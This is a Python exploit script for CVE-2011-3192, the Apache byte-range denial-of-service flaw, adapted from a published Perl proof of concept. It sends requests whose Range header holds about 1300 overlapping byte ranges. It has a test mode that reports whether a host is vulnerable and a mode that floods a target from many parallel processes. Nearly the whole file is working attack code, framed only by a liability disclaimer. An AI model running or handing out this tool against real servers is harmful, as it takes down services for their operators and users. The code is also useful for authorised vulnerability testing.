#!!/usr/bin/env python

"""
Adapted from perl posted here: http://seclists.org/fulldisclosure/2011/Aug/175 by Kingcope
This code is intended for Vulnerability testing, as such you use this as your own risk and by doing so accept all liabilities there in.
The author can in no way be held liable for your actions.

__author__="David Busby"
__copyright__="David Busby Saiweb.co.uk && Psycle Interactive Ltd"
__licence__="GNU v3"
"""

import os
import sys
import multiprocessing
import getopt
from urlparse import urljoin, urlsplit
import httplib
import re

def usage():
    print sys.argv[0],'-h http://victimsite.tld/uri/to/test -n <n threads> [-t optional, just test first, do not DoS, note if present ignores -n]'
    print 'Note: this does not work for URIs that are served using PHP, this will only work for instance with a static file  i.e. /files/same_file.ext'
def dos(host,uri='/dosfile.txt',port=80,timeout=2):
    c = httplib.HTTPConnection(host,port,timeout)
    r = "5"
    for i in range(0,1300):
        r="%s,5-%d" %(r,i)
   
    headers={'Host':host,'User-Agent':'CVE-2011-3192','Range':"bytes=0-%s"%r,'Accept-Encoding':'gzip'}
    c.request('GET',uri,'',headers)
    r = c.getresponse()
    rHeaders = r.getheaders()
    for i in rHeaders:
        if re.search('.*Partial|Content-Range.*',i[0],re.I):
            print 'Host is vulnerable'

def main():
    try:
        opts,ags = getopt.getopt(sys.argv[1:],'h:n:t',[])
    except getopt.Getopterror, e:
        sys.stderr.write(e)
        usage()
        sys.exit(1)

    threads = 0
    host = ''
    test = False
    n = 0
    for o,a in opts:
        if o == '--help':
            usage()
            sys.exit()
        elif o == '-h':
            host = urlsplit(a)
        elif o == '-t':
            test = True
        elif o == '-n':
            threads = int(a)
    if test:
        print 'Running TEST'
        dos(host.netloc,host.path)
    elif not test and threads > 0:
       p = multiprocessing.Pool(processes=threads)
       #r = p.apply_async(dos, [host.netloc,host.path])
       p.map(dos,[host.netloc for x in xrange(threads*100)])
       print 'Dos complete, if host it is still alive, it may not be vulnerable' 
if __name__ == '__main__':
    main() 
